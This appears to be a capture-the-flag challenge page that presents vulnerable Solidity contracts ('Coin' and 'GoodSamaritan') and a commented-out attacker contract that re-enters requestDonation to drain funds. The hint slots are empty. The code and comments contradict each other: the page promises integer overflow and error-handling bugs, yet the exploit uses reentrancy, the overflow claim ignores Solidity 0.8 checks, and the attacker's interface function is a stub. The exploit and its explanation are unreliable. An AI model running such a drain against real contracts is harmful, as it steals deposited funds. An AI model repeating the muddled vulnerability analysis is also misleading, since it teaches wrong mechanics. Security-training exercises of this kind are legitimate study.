Good Samaritan
Drain the GoodSamaritan coin bank by exploiting integer overflows and error handling in a helper contract.
Vulnerable Code
Analyze the Solidity code below to find the vulnerability.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// Interface for the Wallet/User
interface HumanWallet {
function transferEther(address payable dest, uint amount) external;
}
// The vulnerable helper contract
contract Coin {
address public owner;
mapping(address => uint) public balances;
uint supply; // Total supply
constructor() { owner = msg.sender; }
// Function to request funds (vulnerable)
function requestDonation() public returns(bool enoughBalance) {
// Checks if caller's balance is low (<= 10)
require(balances[msg.sender] <= 10);
// Calculates required donation (overflow possible)
// If supply is large, 100000 * 10**18 can overflow uint
uint donation = 100000 * 10**18 / supply;
// If donation calculation resulted in 0 (due to large supply / integer division)
if(donation == 0){
// Donate 1 instead (prevents getting stuck)
donation = 1;
}
// Check if contract has enough balance to donate
enoughBalance = address(this).balance >= donation;
if(enoughBalance){
// Transfer donation (external call)
(bool success, ) = msg.sender.call{value: donation}("");
require(success);
// Update balance (after external call - reentrancy possible but not main exploit)
balances[msg.sender] += donation;
}
}
// Other ERC20-like functions might exist (transfer, etc.)
// Allow deposit
receive() external payable {
balances[msg.sender] += msg.value;
supply += msg.value; // Vulnerable: Supply increments on simple receives?
}
}
// The main contract holding funds
contract GoodSamaritan {
Coin public coin; // Instance of the helper coin contract
HumanWallet public wallet; // Instance of the user's wallet contract
constructor(address _coin, address _wallet) {
coin = Coin(_coin);
wallet = HumanWallet(_wallet);
}
// Function called by user to request aid
function requestDonation() external {
// Requires the Coin contract to report insufficient funds first
require(!coin.requestDonation(), "Coin contract has enough balance");
// If Coin contract failed (returned false), transfer funds from wallet
wallet.transferEther(payable(address(coin)), 100 * 10**18); // Send 100 Ether
}
// Allow deposits to this contract
receive() external payable {}
}
// --- Attacker Wallet Contract ---
// contract ExploitWallet is HumanWallet {
// GoodSamaritan target;
// Coin coinInstance;
//
// constructor(address _target, address _coin) {
// target = GoodSamaritan(_target);
// coinInstance = Coin(_coin);
// }
//
// function attack() public {
// // Trigger the donation request loop
// target.requestDonation();
// }
//
// // Fallback function to handle received Ether during Coin.requestDonation
// receive() external payable {
// // Check if Coin balance is low enough to trigger another donation
// if (address(coinInstance).balance < 10*10**18 && coinInstance.balances(address(this)) <= 10) {
// // Re-enter the target contract to request more funds
// target.requestDonation();
// }
// }
//
// // Required by interface, does nothing malicious here
// function transferEther(address payable dest, uint amount) external override {
// // In a real scenario, this would transfer from internal funds
// }
// }
Submit Explanation
Explain the vulnerability and how to exploit it.
Hints (5)
Just a little peak
Hint 1
Hint 2
Hint 3
Hint 4
Hint 5
Explanation
Discomfort = Learning